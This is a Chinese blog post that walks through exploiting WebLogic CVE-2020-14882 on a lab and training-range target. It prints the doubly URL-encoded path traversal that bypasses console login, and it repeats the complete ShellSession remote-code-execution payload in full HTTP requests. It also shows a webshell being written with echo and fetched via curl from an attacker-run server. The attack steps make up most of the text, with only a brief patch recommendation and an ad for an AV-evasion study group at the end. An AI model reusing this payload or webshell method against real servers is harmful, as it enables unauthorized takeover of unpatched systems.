由于微信公众号推送机制改变了,快来星标不再迷路,谢谢大家!
0x02 复现
0#01 权限漏洞绕过
0#02 手工提交利用
0x03 学院靶场复现过程
0#01 信息收集
0#02 贴POC
0#03 获得flag
0x03 总结
0x04 修复建议
打开靶场地址,看到404页面不要慌张,先进行信息收集!
由于是靶场,就进行目录扫描,就不用进行子域名爆破了~
利用dirsearch进行爆破:
python3 dirsearch/dirsearch.py -u "http://172.23.26.66:7001/" -e \*
先访问200页面发现全是空页面,再尝试访问302重定向后的页面,发现了新天地!
发现这是一个WebLogic, 并且有版本号,此时只用百度一下,就发现了该版本存在多个漏洞,最后我将它定位在 CVE-2020-14882
在读完博客中大佬对该漏洞的复现之后,尝试自己进行复现并拿到webshell。
在最初的这个页面,是需要账号和用户名登录才可以进入后台,但是这里可以进行目录的骚操作来进行直接无密码登录后台。
http://172.23.26.66:7001/console/css/../console.portal
这条构造的url表示由于 ../
在目录中表示返回上一级目录, 即console这个目录,然后访问该目录下的后台文件
但是运行结果并不像我们像的那样, 还是被重定向到登陆页面
这里就需要一些小技巧进行绕过,用burp的url编码功能对../
进行编码
http://172.23.26.66:7001/console/images/%2E%2E%2Fconsole.portal
结果还是被重定向了
将大写换成小写
http://172.23.26.66:7001/console/images/%2e%2e%2fconsole.portal
无果
再进行一次url编码
http://172.23.26.66:7001/console/images/%252e%252e%252fconsole.portal
成功进入后台!
此漏洞有多种利用方式,这里先赘述一下利用burp进行getshell
利用 GET传参 test_handle传入下面POC
test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')
并且传入cmd传参,如下所示,可以进行任意命令执行
下面就该写一句话木马并且getshell了
首先就是找到我们可以访问的目录
博客上说 http://ip:port/console/images
目录下是可以访问的,我们不妨试试
进入这个目录里,尝试访问里面的图片
尝试用echo命令写入木马
成功写入木马,尝试连接会发现这里被weblogic的一些保护机制拦截了,无法访问
接着只有找其他可以访问的目录写入木马,但是我尝试了大概2个多小时,没有发现可用目录,直到问了瑶瑶大佬才知道可以通过静态文件的方法快速准确的定位到可以访问的目录。
下面是切换到可利用目录下的POC包:
GET /console/images/%252e%252e%252fconsole.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();') HTTP/1.1
Host: 172.23.26.66:7001
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.146 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
cmd:pwd && cd ../../../wlserver/server/lib/consoleapp/webapp/framework/skins/wlsconsole/images && ls
Accept-Language: zh,zh-CN;q=0.9
Cookie: ADMINCONSOLESESSION=PG17Me6B3wrPxplUyKb0gzMERhT9gngwklINhVX9j92co34qeEkp!336989877
Connection: close
很快便锁定了这个目录,并且用同样的代码执行将木马写入,但是这里又遇到了问题,利用echo写入的木马用冰蝎无法获取到密钥,连接失败……
又请教了瑶瑶大佬,他教我用curl将木马写入!!!~
首先你需要一台有公网ip的服务器,并且装有python或者apache等web环境,这里利用的是python的httpserver服务进行文件共享。
第一步:先将木马文件放在服务器的目录里,并运行cmd命令,由于网上都是Liunx的环境,但条件简陋我利用的是windows server 2012
在该目录下运行cmd命令,调用httpserver服务
python -m http.server 5000
开启之后要注意检查物理机能否访问该文件夹,若nmap扫描结果为filter,检查一下自己服务器的安全组是否开启了对应的端口
<img src="https://cdn.nlark.com/yuque/0/2021/png/2540809/1612682565714-fc100e63-0faf-47d5-b101-ceaa76b57f78.png" alt="QQ图片20210207152234.png" style="zoom: 150%;" />
这里的8000理解为上面对应的5000端口即可,准备就绪,准备上马~
将burp里的命令改为curl写入:
cmd:pwd && cd ../../../wlserver/server/lib/consoleapp/webapp/framework/skins/wlsconsole/images && curl http://ip:5000/shell.jsp > xiaoyi.jsp
最后尝试冰蝎连接
连接成功,拿到webshell!~
同样和上文一样使用dirsearch目录扫描,可以定位到302跳转后的网址
通过上述两次url编码绕过后,利用burp抓包,将包改为如下POC:
GET /console/css/%252e%252e%252fconsolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();') HTTP/1.1
Host: weblogic.vdb.aqlab.cn
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.146 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
cmd:pwd&&cd ../../../wlserver/server&&ls
通过此次漏洞的复现,学会了准确快速的定位到用户可以访问的目录,学会了利用curl 的方式写入文件,同时学会了利用冰蝎,python多种工具~
该漏洞还可以利用反弹shell的方式,但我发现我没有linux服务器,不好测试,等啥时候俺有钱了一定把复现步骤补上!~
安装官方提供的补丁
使用新版本的weblogic
★
欢 迎 加 入 星 球 !
代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员
进成员内部群
星球的最近主题和星球内部工具一些展示
加入安全交流群
关 注 有 礼
还在等什么?赶紧点击下方名片关注学习吧!
推荐阅读